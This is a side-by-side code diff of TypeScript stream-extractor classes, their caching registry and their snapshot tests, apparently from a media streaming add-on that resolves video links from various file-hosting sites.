return showExternalUrls(ctx.config) && null !== url.host.match(/.*/); return showExternalUrls(ctx.config) && null !== url.host.match(/.*/);
} }
protected async extractInternal(_ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href };
try {
// Make sure the URL is accessible, but avoid causing noise and delays doing this
await this.fetcher.head(ctx, url, { noFlareSolverr: true, timeout: 1000, headers });
} catch (error) {
/* istanbul ignore if */
if (!(error instanceof BlockedError)) {
return [];
}
}
return [ return [
{ {
url: url, url: url,
format: Format.unknown, format: Format.unknown,
isExternal: true, isExternal: true,
label: `${url.host}`, label: `${url.host}`,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta, meta,
}, },
]; ];

View file

@ -1,5 +1,5 @@
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta, UrlResult } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { Fetcher } from '../utils'; import { Fetcher } from '../utils';
export abstract class Extractor { export abstract class Extractor {
@ -9,8 +9,6 @@ export abstract class Extractor {
public readonly ttl: number = 900000; // 15m public readonly ttl: number = 900000; // 15m
public readonly cacheVersion: number | undefined = undefined;
public readonly viaMediaFlowProxy: boolean = false; public readonly viaMediaFlowProxy: boolean = false;
protected readonly fetcher: Fetcher; protected readonly fetcher: Fetcher;
@ -25,18 +23,11 @@ export abstract class Extractor {
return url; return url;
}; };
protected abstract extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]>; protected abstract extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]>;
public async extract(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> { public async extract(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
try { try {
return (await this.extractInternal(ctx, url, meta)).map( return await this.extractInternal(ctx, url, meta);
urlResult => ({
...urlResult,
label: this.formatLabel(urlResult.label ?? this.label),
ttl: this.ttl,
}),
);
} catch (error) { } catch (error) {
if (error instanceof NotFoundError) { if (error instanceof NotFoundError) {
return []; return [];
@ -48,15 +39,11 @@ export abstract class Extractor {
format: Format.unknown, format: Format.unknown,
isExternal: true, isExternal: true,
error, error,
label: this.formatLabel(this.label), label: this.label,
ttl: 0, sourceId: `${this.id}`,
meta, meta,
}, },
]; ];
} }
}; };
private formatLabel(label: string): string {
return this.viaMediaFlowProxy ? `${label} (MFP)` : label;
}
} }

View file

@ -49,11 +49,6 @@ describe('ExtractorRegistry', () => {
expect(urlResults).toMatchSnapshot(); expect(urlResults).toMatchSnapshot();
}); });
test('empty results are cached', async () => {
const urlResults = await extractorRegistry.handle(ctx, new URL('https://dropload.io/asdfghijklmn.html'), { title: 'title' });
expect(urlResults).toMatchSnapshot();
});
test('stats returns something', async () => { test('stats returns something', async () => {
const stats = extractorRegistry.stats(); const stats = extractorRegistry.stats();

View file

@ -1,31 +1,23 @@
// eslint-disable-next-line import/no-named-as-default
import KeyvSqlite from '@keyv/sqlite';
import { Cacheable, CacheableMemory, Keyv } from 'cacheable'; import { Cacheable, CacheableMemory, Keyv } from 'cacheable';
import winston from 'winston'; import winston from 'winston';
import { Context, Format, Meta, UrlResult } from '../types'; import { Context, Meta, UrlResult } from '../types';
import { createKeyvSqlite, envGet, isExtractorDisabled } from '../utils'; import { getCacheDir, isExtractorDisabled, noCache } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class ExtractorRegistry { export class ExtractorRegistry {
private readonly logger: winston.Logger; private readonly logger: winston.Logger;
private readonly extractors: Extractor[]; private readonly extractors: Extractor[];
private readonly urlResultCache: Cacheable; private readonly urlResultCache: Cacheable;
private readonly lazyUrlResultCache: Cacheable;
public constructor(logger: winston.Logger, extractors: Extractor[]) { public constructor(logger: winston.Logger, extractors: Extractor[]) {
this.logger = logger; this.logger = logger;
this.extractors = extractors; this.extractors = extractors;
this.urlResultCache = new Cacheable({ this.urlResultCache = new Cacheable({
nonBlocking: true,
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }), primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
secondary: createKeyvSqlite('extractor-cache'), secondary: new Keyv(new KeyvSqlite(`sqlite://${getCacheDir()}/webstreamr-extractor-cache.sqlite`)),
stats: true,
});
this.lazyUrlResultCache = new Cacheable({
nonBlocking: true,
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
secondary: createKeyvSqlite('extractor-lazy-cache'),
stats: true, stats: true,
}); });
} }
@ -33,80 +25,45 @@ export class ExtractorRegistry {
public stats() { public stats() {
return { return {
urlResultCache: this.urlResultCache.stats, urlResultCache: this.urlResultCache.stats,
lazyUrlResultCache: this.lazyUrlResultCache.stats,
}; };
}; };
public async handle(ctx: Context, url: URL, meta?: Meta, allowLazy?: boolean): Promise<UrlResult[]> { public async handle(ctx: Context, url: URL, meta?: Meta): Promise<UrlResult[]> {
const extractor = this.extractors.find(extractor => !isExtractorDisabled(ctx.config, extractor) && extractor.supports(ctx, url)); const extractor = this.extractors.find(extractor => !isExtractorDisabled(ctx.config, extractor) && extractor.supports(ctx, url));
if (!extractor) { if (!extractor) {
return []; return [];
} }
const normalizedUrl = extractor.normalize(url); const normalizedUrl = extractor.normalize(url);
const cacheKey = this.determineCacheKey(ctx, extractor, normalizedUrl); const cacheKey = extractor.viaMediaFlowProxy
? `${extractor.id}_${normalizedUrl}_${ctx.config.mediaFlowProxyUrl}`
: `${extractor.id}_${normalizedUrl}`;
const storedDataRaw = await this.urlResultCache.getRaw<UrlResult[]>(cacheKey); const storedDataRaw = await this.urlResultCache.getRaw<UrlResult[]>(cacheKey);
const expires = storedDataRaw?.expires; const expires = storedDataRaw?.expires;
if (storedDataRaw && expires) { if (storedDataRaw && expires && !noCache(ctx.config)) {
const ttl = expires - Date.now(); // Ignore the cache randomly after at least 2/3 of the TTL passed to start refreshing results slowly
const refreshTimestamp = this.randomInteger(expires - extractor.ttl * (2 / 3), expires);
const now = Date.now();
/* istanbul ignore if */ /* istanbul ignore if */
if (ttl > 0) { if (refreshTimestamp > now) {
return (storedDataRaw.value as UrlResult[]).map(urlResult => ({ ...urlResult, ttl, url: new URL(urlResult.url) })); return (storedDataRaw.value as UrlResult[]).map(urlResult => ({ ...urlResult, ttl: expires - now, url: new URL(urlResult.url) }));
} }
} }
const lazyUrlResults = await this.lazyUrlResultCache.get<UrlResult[]>(normalizedUrl.href) ?? [];
/* istanbul ignore next */
if (
lazyUrlResults.length && allowLazy && !extractor.viaMediaFlowProxy
&& lazyUrlResults.every(urlResult => urlResult.format !== Format.hls) // related to Android issues, e.g. https://github.com/Stremio/stremio-bugs/issues/1574 or https://github.com/Stremio/stremio-bugs/issues/1579
) {
// generate lazy extract urls
return lazyUrlResults.map((urlResult, index) => {
const extractUrl = new URL(`${envGet('PROTOCOL')}:${envGet('HOST')}/extract/`);
extractUrl.searchParams.set('index', `${index}`);
extractUrl.searchParams.set('url', url.href);
return { ...urlResult, url: extractUrl };
});
}
this.logger.info(`Extract ${url} using ${extractor.id} extractor`, ctx); this.logger.info(`Extract ${url} using ${extractor.id} extractor`, ctx);
const mergedMeta: Meta = { ...meta, ...lazyUrlResults[0]?.meta }; const urlResults = await extractor.extract(ctx, normalizedUrl, { ...meta, countryCodes: meta?.countryCodes ?? [] });
const urlResults = await extractor.extract(ctx, normalizedUrl, { extractorId: extractor.id, ...mergedMeta });
if (!Object.keys(mergedMeta).length || urlResults.some(urlResult => urlResult.error)) { if (!urlResults.some(urlResult => urlResult.error) && extractor.ttl) {
await this.urlResultCache.delete(cacheKey); await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, extractor.ttl);
await this.lazyUrlResultCache.delete(normalizedUrl.href);
return urlResults;
}
const ttl = urlResults.length ? extractor.ttl : 43200000; // 12h
await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, ttl);
if (extractor.id !== 'external') {
await this.lazyUrlResultCache.set<UrlResult[]>(normalizedUrl.href, urlResults, 2629800000); // 1 month
} }
return urlResults; return urlResults;
}; };
private determineCacheKey(ctx: Context, extractor: Extractor, url: URL): string { private randomInteger(min: number, max: number) {
let suffix = ''; return Math.floor(Math.random() * (max - min + 1)) + min;
if (extractor.viaMediaFlowProxy) {
suffix += `_${ctx.config.mediaFlowProxyUrl}`;
}
if (extractor.cacheVersion) {
suffix += `_${extractor.cacheVersion}`;
}
return `${extractor.id}_${url}${suffix}`;
} }
} }

View file

@ -13,8 +13,4 @@ describe('Fastream', () => {
test('fastream.to embed', async () => { test('fastream.to embed', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://fastream.to/embed-3aooif4ozt10.html'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://fastream.to/embed-3aooif4ozt10.html'))).toMatchSnapshot();
}); });
test('expired or deleted', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://fastream.to/embed-a9rp1d1pqom7.html'))).toMatchSnapshot();
});
}); });

View file

@ -1,13 +1,12 @@
import bytes from 'bytes'; import bytes from 'bytes';
import { NotFoundError } from '../error'; import { Context, Format, Meta, UrlResult } from '../types';
import { Context, Format, InternalUrlResult, Meta } from '../types';
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy } from '../utils'; import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class Fastream extends Extractor { export class Fastream extends Extractor {
public readonly id = 'fastream'; public readonly id = 'fastream';
public readonly label = 'Fastream'; public readonly label = 'Fastream (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
@ -19,18 +18,14 @@ export class Fastream extends Extractor {
return new URL(url.href.replace('/e/', '/embed-').replace('/d/', '/embed-')); return new URL(url.href.replace('/e/', '/embed-').replace('/d/', '/embed-'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Fastream', url, headers);
const downloadUrl = new URL(url.href.replace('/embed-', '/d/')); const downloadUrl = new URL(url.href.replace('/embed-', '/d/'));
const html = await this.fetcher.text(ctx, downloadUrl, { headers }); const html = await this.fetcher.text(ctx, downloadUrl, { headers });
if (/No such file/.test(html)) {
throw new NotFoundError();
}
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Fastream', url, headers);
const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/) as string[]; const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/) as string[];
const titleMatch = html.match(/>Download (.*?)</) as string[]; const titleMatch = html.match(/>Download (.*?)</) as string[];
@ -38,6 +33,9 @@ export class Fastream extends Extractor {
{ {
url: playlistUrl, url: playlistUrl,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
bytes: bytes.parse(heightAndSizeMatch[2] as string) as number, bytes: bytes.parse(heightAndSizeMatch[2] as string) as number,

View file

@ -21,8 +21,4 @@ describe('FileLions', () => {
test('file not found', async () => { test('file not found', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://filelions.to/v/ylcp2cu5qanb'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://filelions.to/v/ylcp2cu5qanb'))).toMatchSnapshot();
}); });
test('deleted by administration', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://callistanise.com/f/cy4t5nkerjrt'))).toMatchSnapshot();
});
}); });

View file

@ -1,7 +1,7 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy, unpackEval } from '../utils'; import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy, unpackEval } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -9,7 +9,7 @@ import { Extractor } from './Extractor';
export class FileLions extends Extractor { export class FileLions extends Extractor {
public readonly id = 'filelions'; public readonly id = 'filelions';
public readonly label = 'FileLions'; public readonly label = 'FileLions (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
@ -22,19 +22,17 @@ export class FileLions extends Extractor {
'anime7u.com', 'anime7u.com',
'azipcdn.com', 'azipcdn.com',
'bingezove.com', 'bingezove.com',
'callistanise.com',
'coolciima.online', 'coolciima.online',
'dhtpre.com', 'dhtpre.com',
'dingtezuni.com', 'dingtezuni.com',
'dintezuvio.com',
'e4xb5c2xnz.sbs', 'e4xb5c2xnz.sbs',
'egsyxutd.sbs', 'egsyxutd.sbs',
'fdewsdc.sbs', 'fdewsdc.sbs',
'gsfomqu.sbs', 'gsfomqu.sbs',
'javplaya.com', 'javplaya.com',
'katomen.online', 'katomen.online',
'kinoger.be',
'lumiawatch.top', 'lumiawatch.top',
'minochinos.com',
'mivalyo.com', 'mivalyo.com',
'moflix-stream.click', 'moflix-stream.click',
'motvy55.store', 'motvy55.store',
@ -62,7 +60,7 @@ export class FileLions extends Extractor {
return new URL(url.href.replace('/v/', '/f/').replace('/download/', '/f/').replace('/file/', '/f/')); return new URL(url.href.replace('/v/', '/f/').replace('/download/', '/f/').replace('/file/', '/f/'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -71,7 +69,7 @@ export class FileLions extends Extractor {
return await this.extractInternal(ctx, new URL(url.href.replace('/f/', '/v/')), meta); return await this.extractInternal(ctx, new URL(url.href.replace('/f/', '/v/')), meta);
} }
if (/File Not Found|deleted by administration/.test(html)) { if (/File Not Found/.test(html)) {
throw new NotFoundError(); throw new NotFoundError();
} }
@ -87,6 +85,9 @@ export class FileLions extends Extractor {
{ {
url: await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileLions', url, headers), url: await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileLions', url, headers),
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
height: parseInt(heightMatch[1] as string), height: parseInt(heightMatch[1] as string),

View file

@ -17,8 +17,4 @@ describe('FileMoon', () => {
test('page not found', async () => { test('page not found', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.sx/e/n7i8zodwjqr9'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.sx/e/n7i8zodwjqr9'))).toMatchSnapshot();
}); });
test('missing height', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.to/d/ugj7f1kq94p1'))).toMatchSnapshot();
});
}); });

View file

@ -1,6 +1,6 @@
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { import {
buildMediaFlowProxyExtractorStreamUrl, buildMediaFlowProxyExtractorStreamUrl,
supportsMediaFlowProxy, supportsMediaFlowProxy,
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
export class FileMoon extends Extractor { export class FileMoon extends Extractor {
public readonly id = 'filemoon'; public readonly id = 'filemoon';
public readonly label = 'FileMoon'; public readonly label = 'FileMoon (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
@ -45,7 +45,7 @@ export class FileMoon extends Extractor {
return new URL(url.href.replace('/e/', '/d/')); return new URL(url.href.replace('/e/', '/d/'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta, originalUrl?: URL): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta, originalUrl?: URL): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -57,24 +57,26 @@ export class FileMoon extends Extractor {
const $ = cheerio.load(html); const $ = cheerio.load(html);
const title = $('h3').text().trim(); const title = $('h3').text().trim();
const iframeUrlMatches = Array.from(html.matchAll(/iframe.*?src=["'](.*?)["']/g)); const iframeUrlMatch = html.match(/iframe.*?src=["'](.*?)["']/);
if (iframeUrlMatches.length) { if (iframeUrlMatch && iframeUrlMatch[1]) {
// Use last match because there can be fake adblock catcher urls before return await this.extractInternal(ctx, new URL(iframeUrlMatch[1]), { title, ...meta }, url);
return await this.extractInternal(ctx, new URL((iframeUrlMatches[iframeUrlMatches.length - 1] as RegExpExecArray)[1] as string), { title, ...meta }, url);
} }
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileMoon', originalUrl as URL, headers); const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileMoon', originalUrl as URL, headers);
const unpacked = unpackEval(html); const unpacked = unpackEval(html);
const heightMatch = unpacked.match(/(\d{3,})p/); const heightMatch = unpacked.match(/(\d{3,})p/) as string[];
return [ return [
{ {
url: playlistUrl, url: playlistUrl,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
...(heightMatch && { height: parseInt(heightMatch[1] as string) }), height: parseInt(heightMatch[1] as string),
}, },
}, },
]; ];

View file

@ -1,16 +0,0 @@
import winston from 'winston';
import { createTestContext } from '../test';
import { FetcherMock } from '../utils';
import { ExtractorRegistry } from './ExtractorRegistry';
import { Fsst } from './Fsst';
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
const extractorRegistry = new ExtractorRegistry(logger, [new Fsst(new FetcherMock(`${__dirname}/__fixtures__/Fsst`))]);
const ctx = createTestContext();
describe('Fsst', () => {
test('Wake up Dead Man', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://fsst.online/embed/948429/'))).toMatchSnapshot();
});
});

View file

@ -1,41 +0,0 @@
import * as cheerio from 'cheerio';
import { Context, Format, InternalUrlResult, Meta } from '../types';
import { Extractor } from './Extractor';
export class Fsst extends Extractor {
public readonly id = 'fsst';
public readonly label = 'Fsst';
public override readonly ttl: number = 10800000; // 3h
public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/fsst/);
};
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers, noProxyHeaders: true });
const $ = cheerio.load(html);
const title = $('title').text().trim();
const filesMatch = html.match(/file:"(.*)"/) as string[];
const lastFile = (filesMatch[1] as string).split(',').pop() as string;
const heightAndUrlMatch = lastFile.match(/\[?([\d]*)p?]?(.*)/) as string[];
const fileHref = heightAndUrlMatch[2] as string;
return [{
url: await this.fetcher.getFinalRedirectUrl(ctx, new URL(fileHref), { headers, noProxyHeaders: true }, 1),
format: Format.mp4,
meta: {
...meta,
height: parseInt(heightAndUrlMatch[1] as string),
title,
},
}];
};
}

View file

@ -21,8 +21,4 @@ describe('HubCloud', () => {
test('handle dark 2017 s03e08', async () => { test('handle dark 2017 s03e08', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.one/drive/nknlofk8snfnknh'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.one/drive/nknlofk8snfnknh'))).toMatchSnapshot();
}); });
test('handle goat 2026', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.foo/drive/p94k4dccjwxjcx4'))).toMatchSnapshot();
});
}); });

View file

@ -1,7 +1,6 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { findCountryCodes, findHeight } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class HubCloud extends Extractor { export class HubCloud extends Extractor {
@ -9,15 +8,13 @@ export class HubCloud extends Extractor {
public readonly label = 'HubCloud'; public readonly label = 'HubCloud';
public override readonly ttl: number = 43200000; // 12h public override readonly ttl: number = 259200000; // 3d
public override readonly cacheVersion = 1;
public supports(_ctx: Context, url: URL): boolean { public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/hubcloud/); return null !== url.host.match(/hubcloud/);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const redirectHtml = await this.fetcher.text(ctx, url, { headers }); const redirectHtml = await this.fetcher.text(ctx, url, { headers });
@ -26,16 +23,12 @@ export class HubCloud extends Extractor {
const linksHtml = await this.fetcher.text(ctx, new URL(redirectUrlMatch[1] as string), { headers: { Referer: url.href } }); const linksHtml = await this.fetcher.text(ctx, new URL(redirectUrlMatch[1] as string), { headers: { Referer: url.href } });
const $ = cheerio.load(linksHtml); const $ = cheerio.load(linksHtml);
const title = $('title').text().trim(); const urlResults = [
const countryCodes = [...new Set([...meta.countryCodes ?? [], ...findCountryCodes(title)])];
const height = meta.height ?? findHeight(title);
return Promise.all([
...$('a') ...$('a')
.filter((_i, el) => { .filter((_i, el) => {
const text = $(el).text(); const text = $(el).text();
return text.includes('FSL') && !text.includes('FSLv2'); return text.includes('FSL') || text.includes('Download File');
}) })
.map((_i, el) => { .map((_i, el) => {
const url = new URL($(el).attr('href') as string); const url = new URL($(el).attr('href') as string);
@ -43,60 +36,48 @@ export class HubCloud extends Extractor {
url, url,
format: Format.unknown, format: Format.unknown,
label: `${this.label} (FSL)`, label: `${this.label} (FSL)`,
sourceId: `${this.id}_fsl`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
bytes: bytes.parse($('#size').text()) as number, bytes: bytes.parse($('#size').text()) as number,
extractorId: `${this.id}_fsl`, title: $('title').text().trim(),
countryCodes,
height,
title,
},
};
}).toArray(),
...$('a')
.filter((_i, el) => {
const text = $(el).text();
return text.includes('FSLv2');
})
.map((_i, el) => {
const url = new URL($(el).attr('href') as string);
return {
url,
format: Format.unknown,
label: `${this.label} (FSLv2)`,
meta: {
...meta,
bytes: bytes.parse($('#size').text()) as number,
extractorId: `${this.id}_fslv2`,
countryCodes,
height,
title,
}, },
}; };
}).toArray(), }).toArray(),
...$('a') ...$('a')
.filter((_i, el) => $(el).text().includes('PixelServer')) .filter((_i, el) => $(el).text().includes('PixelServer'))
.map((_i, el) => { .map((_i, el) => {
const userUrl = new URL(($(el).attr('href') as string).replace('/api/file/', '/u/')); const url = new URL(($(el).attr('href') as string).replace('/u/', '/api/file/'));
const url = new URL(userUrl.href.replace('/u/', '/api/file/'));
url.searchParams.set('download', '');
return { return {
url, url,
format: Format.unknown, format: Format.unknown,
label: `${this.label} (PixelServer)`, label: `${this.label} (PixelServer)`,
sourceId: `${this.id}_pixelserver`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
bytes: bytes.parse($('#size').text()) as number, bytes: bytes.parse($('#size').text()) as number,
extractorId: `${this.id}_pixelserver`, title: $('title').text().trim(),
countryCodes,
height,
title,
}, },
requestHeaders: { Referer: userUrl.href },
}; };
}).toArray(), }).toArray(),
]); ];
return this.asyncFilter(urlResults, async ({ url }) => {
try {
await this.fetcher.head(ctx, url);
} catch {
return false;
}
return true;
});
}; };
private async asyncFilter<T>(array: T[], asyncCallback: (item: T) => Promise<boolean>): Promise<T[]> {
const results = await Promise.all(array.map(asyncCallback));
return array.filter((_, index) => results[index]);
}
} }

View file

@ -1,29 +0,0 @@
import winston from 'winston';
import { createTestContext } from '../test';
import { FetcherMock } from '../utils';
import { ExtractorRegistry } from './ExtractorRegistry';
import { HubCloud } from './HubCloud';
import { HubDrive } from './HubDrive';
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
const extractorRegistry = new ExtractorRegistry(
logger,
[
new HubDrive(
new FetcherMock(`${__dirname}/__fixtures__/HubDrive`),
new HubCloud(new FetcherMock(`${__dirname}/__fixtures__/HubDrive/HubCloud`)),
),
],
);
const ctx = createTestContext();
describe('HubDrive', () => {
test('handle avatar', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://hubdrive.space/file/7283903021'))).toMatchSnapshot();
});
test('handle missing hubcloud', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://hubdrive.space/file/2243124026'))).toMatchSnapshot();
});
});

View file

@ -1,40 +0,0 @@
import * as cheerio from 'cheerio';
import { Context, InternalUrlResult, Meta } from '../types';
import { Fetcher } from '../utils';
import { Extractor } from './Extractor';
import { HubCloud } from './HubCloud';
export class HubDrive extends Extractor {
public readonly id = 'hubdrive';
public readonly label = 'HubDrive';
public override readonly ttl: number = 43200000; // 12h
public override readonly cacheVersion = 1;
private readonly hubCloud: HubCloud;
public constructor(fetcher: Fetcher, hubCloud: HubCloud) {
super(fetcher);
this.hubCloud = hubCloud;
}
public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/hubdrive/);
}
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers });
const $ = cheerio.load(html);
const hubCloudUrl = $('a:contains("HubCloud")')
.map((_i, el) => new URL($(el).attr('href') as string))
.get(0);
return hubCloudUrl ? this.hubCloud.extract(ctx, hubCloudUrl, meta) : [];
};
}

View file

@ -17,12 +17,4 @@ describe('KinoGer', () => {
test('Dead City', async () => { test('Dead City', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.re/#x6tsx9'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.re/#x6tsx9'))).toMatchSnapshot();
}); });
test('filma365.strp2p.site', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://filma365.strp2p.site/#vih6bx'))).toMatchSnapshot();
});
test('kinoger.p2pplay.pro', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.p2pplay.pro/#k53k9'))).toMatchSnapshot();
});
}); });

View file

@ -1,5 +1,5 @@
import crypto from 'crypto'; import crypto from 'crypto';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { guessHeightFromPlaylist } from '../utils'; import { guessHeightFromPlaylist } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -17,19 +17,12 @@ export class KinoGer extends Extractor {
'disneycdn.net', 'disneycdn.net',
'dzo.vidplayer.live', 'dzo.vidplayer.live',
'filedecrypt.link', 'filedecrypt.link',
'filma365.strp2p.site',
'flimmer.rpmvip.com',
'flixfilmesonline.strp2p.site',
'kinoger.p2pplay.pro',
'kinoger.re', 'kinoger.re',
'moflix.rpmplay.xyz', 'moflix.rpmplay.xyz',
'moflix.upns.xyz', 'moflix.upns.xyz',
'player.upn.one', 'player.upn.one',
'securecdn.shop', 'securecdn.shop',
'shiid4u.upn.one', 'shiid4u.upn.one',
'srbe84.vidplayer.live',
'strp2p.site',
't1.p2pplay.pro',
'tuktuk.rpmvid.com', 'tuktuk.rpmvid.com',
'ultrastream.online', 'ultrastream.online',
'videoland.cfd', 'videoland.cfd',
@ -43,35 +36,36 @@ export class KinoGer extends Extractor {
return new URL(`${url.origin}/api/v1/video?id=${url.hash.slice(1)}`); return new URL(`${url.origin}/api/v1/video?id=${url.hash.slice(1)}`);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { const headers = { 'Referer': meta.referer ?? url.href, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36' };
'Origin': url.origin,
'Referer': url.origin + '/',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
};
const hexData = await this.fetcher.text(ctx, url, { headers }); const hexData = await this.fetcher.text(ctx, url, { headers });
const encrypted = Buffer.from(hexData.slice(0, -1), 'hex'); const encrypted = Buffer.from(hexData, 'hex');
const key = Buffer.from('6b69656d7469656e6d75613931316361', 'hex'); const key = Buffer.from('6b69656d7469656e6d75613931316361', 'hex');
const iv = Buffer.from('313233343536373839306f6975797472', 'hex'); const iv = Buffer.from('313233343536373839306f6975797472', 'hex');
const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv); const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
